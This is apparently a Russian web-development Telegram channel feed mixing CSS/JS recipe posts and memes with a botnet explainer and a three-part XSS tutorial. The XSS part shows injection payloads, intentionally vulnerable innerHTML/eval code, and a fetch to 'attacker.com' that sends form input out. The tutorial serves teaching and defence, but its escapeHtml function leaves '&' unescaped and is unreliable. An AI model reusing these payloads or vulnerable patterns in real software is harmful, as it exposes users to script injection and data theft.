#РецептКода

Жиденькие анимированные переключатели стилизованные под слизь. Собрано на CSS и SVG.

WEBIK | @gki_webik_ru

#Мем

WEBIK | @gki_webik_ru

#Интересно

Ботнет — это компьютерная сеть, состоящая из большого количества компьютеров, на которых скрытно установлено вредоносное ПО.

Оно позволяет злоумышленникам удаленно выполнять любые действия с использованием вычислительных ресурсов зараженных машин.

Слово «ботнет» образовано от слов «robot» (робот) и «network» (сеть).

Ботнеты могут использоваться для различных целей, таких как:
• рассылка спама;
• атаки на отказ в обслуживании (DoS и DDoS);
• кража данных;
• шифрование файлов;
• вымогательство и т.д.

Для создания Ботнета не требуется колоссальных знаний. Хватит понимания общих сетевых протоколов HTTP/HTTPS, немного знаний криптография SSL, и базовые знания C#/C++ хотя бы на уровне ООП.

WEBIK | @gki_webik_ru

#РецептКода

Строка поиска, которая раскрывается при нажатии на кнопку.

WEBIK | @gki_webik_ru

#Тест

WEBIK | @gki_webik_ru

#РецептКода

Необычный анимированный фон на HTML, CSS и JavaScript.

WEBIK | @gki_webik_ru

#Интересно

Часть 1. О XSS

Часть 2. XSS Типы + примеры

XSS-атаки бывают:
• Сохраняемые, когда вредоносный скрипт сохраняется в БД приложения и запускается у клиента.

<textarea id="comment">
<img src="x" onerror="alert('XSS')">
</textarea> 
<button onclick="saveComment()">Submit</button> 
<div id="comments"></div>

let comments = []; 
function saveComment() { 
    let comment = document.getElementById('comment').value; 
    comments.push(comment); 
    document.getElementById('comments').innerHTML += comment + '<br>'; 
}

• Отраженные, когда эксплойт не хранится в базе данных и атака происходит через URL, добавляя вредоносный скрипт в тело ответа.

<form method="get" action="/"> 
    <input type="text" name="q"> 
    <input type="submit" value="Search"> 
</form>

const query = new URLSearchParams(window.location.search).get('q'); 
document.body.innerHTML += query;

• На основе DOM, где страница не меняется на сервере и вредоносный скрипт добавляется в JS в рантайме и никогда не покидает браузер.

<form id="xssForm"> 
        <input type="text" id="userInput" placeholder="Enter text"> 
        <button type="submit">Submit</button> 
 </form> 
 <div id="output"></div>

 document.getElementById('xssForm').addEventListener('submit', function(e) { 
            e.preventDefault(); 
            var userInput = document.getElementById('userInput').value; 
            document.getElementById('output').innerHTML = userInput; 
 });

• mXSS или XSS с мутациями, которая использует механизм очистки и санитайзинга пользовательского ввода браузерами.

<div id="content"></div>

var maliciousScript = document.createElement('div'); 
maliciousScript.innerHTML = '<img src="x" onerror="step2()">';
 
document.getElementById('content').appendChild(maliciousScript);
 
function step2() { 
            var script = document.createElement('script'); 
            script.innerHTML = 'alert("XSS Attack!")'; 
            document.body.appendChild(script); 
}

• Blind XSS — подмножество сохраняемого XSS, когда эксплойт может запуститься не сразу и даже в другом приложении.

<form action="http://example.com/submit" method="POST"> 
        <input type="text" name="name" placeholder="Enter your name"> 
        <input type="submit" value="Submit"> 
</form>

document.forms[0].onsubmit = function() { 
            fetch('http://attacker.com/log', { 
                method: 'POST', 
                headers: {'Content-Type': 'application/json'}, 
                body: JSON.stringify({data: document.forms[0].name.value}) 
            }); 
 };

• Self XSS — атака, при которой жертва сама запускает вредоносный скрипт через консоль браузера.

<input id="input" type="text" placeholder="Enter text"> 
<button onclick="execute()">Run</button>

function execute() { 
  let input = document.getElementById('input').value; 
  eval(input);
}

Если хотите выпуск 3 части (предотвращение XSS атаки + примеры) ставьте 👍🏼

WEBIK | @gki_webik_ru

#Мем

WEBIK | @gki_webik_ru

#Макет

Кеменгер
Сайт интеллектуального развития

→ Жанр: #LandingPage
→ Сложность: #средний
→ Язык: #RU
→ Адаптив: Нет

WEBIK | @gki_webik_ru

#РецептКода

Step Indicator

Код адаптивной анимации прогресса с возможностью шага вперед и назад.
Реализовано на чистом HTML+CSS+JavaScript.

WEBIK | @gki_webik_ru

#Мем

WEBIK | @gki_webik_ru

#Мем

WEBIK | @gki_webik_ru

#Интересно

Часть 1. О XSS

Часть 2. XSS Типы + примеры

Часть 3. Предотвращение XSS атаки

Для предотвращения XSS (межсайтового скриптинга) атак в JavaScript, необходимо применять несколько методов и лучших практик. Вот основные шаги, которые помогут защитить ваше приложение:

1. Экранирование входных данных:
• Экранируйте все входные данные, которые могут быть вставлены в HTML, JavaScript, CSS или URL.
• Используйте функции, которые экранируют специальные символы (например, <, >, &, " и ').

function escapeHtml(unsafe) { 
    return unsafe 
        .replace(/&/g, "&") 
        .replace(/</g, "&lt;") 
        .replace(/>/g, "&gt;") 
        .replace(/"/g, "&quot;") 
        .replace(/'/g, "&#039;"); 
} 
 
const userInput = '<script>alert("XSS")</script>'; 
const safeInput = escapeHtml(userInput); 
document.getElementById('output').textContent = safeInput;

2. Использование безопасных методов для вставки данных в DOM:
• Избегайте использования innerHTML, outerHTML, document.write, eval и подобных методов для вставки данных в DOM.
• Используйте безопасные методы, такие как textContent, innerText, createElement, appendChild.

const userInput = '<script>alert("XSS")</script>'; 
const outputElement = document.getElementById('output'); 
 
// Использование textContent вместо innerHTML 
outputElement.textContent = userInput;

3. Валидация и фильтрация входных данных:
• Всегда проверяйте и фильтруйте входные данные на стороне сервера и клиента.
• Используйте белые списки допустимых значений, чтобы ограничить ввод только разрешенными данными.

document.getElementById('userForm').addEventListener('submit', function(event) { 
const name = document.getElementById('name').value; 
 
// Пример простой валидации 
if (!/^[a-zA-Z ]+$/.test(name)) { 
    alert('Invalid name. Only letters and spaces are allowed.'); 
    event.preventDefault(); 
} 
});

4. Использование Content Security Policy (CSP):
• Настройте CSP заголовки, чтобы ограничить источники скриптов, стилей и других ресурсов.
• CSP помогает предотвратить выполнение вредоносных скриптов, даже если они были внедрены в код.

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.cdn.com;">

5. Использование библиотек и фреймворков:
• Используйте проверенные библиотеки и фреймворки, которые имеют встроенные механизмы защиты от XSS.
• Например, React, Angular и Vue автоматически экранируют данные, вставляемые в DOM.

import React from 'react'; 
import ReactDOM from 'react-dom'; 
 
const userInput = '<script>alert("XSS")</script>'; 
 
function App() { 
    return ( 
        <div> 
            <h1>User Input</h1> 
            <p>{userInput}</p> {/* React автоматически экранирует данные */} 
        </div> 
    ); 
} 
 
ReactDOM.render(<App />, document.getElementById('root'));

6. Обновление и патчинг:
• Регулярно обновляйте все используемые библиотеки и фреймворки до последних версий, чтобы защититься от известных уязвимостей.

# Обновление всех пакетов до последних версий
npm update
# Проверка наличия уязвимостей в пакетах
npm audit
# Автоматическое исправление уязвимостей
npm audit fix

WEBIK | @gki_webik_ru

#РецептКода

Страница превратилась в призрака и улетела.

WEBIK | @gki_webik_ru

#Мем

WEBIK | @gki_webik_ru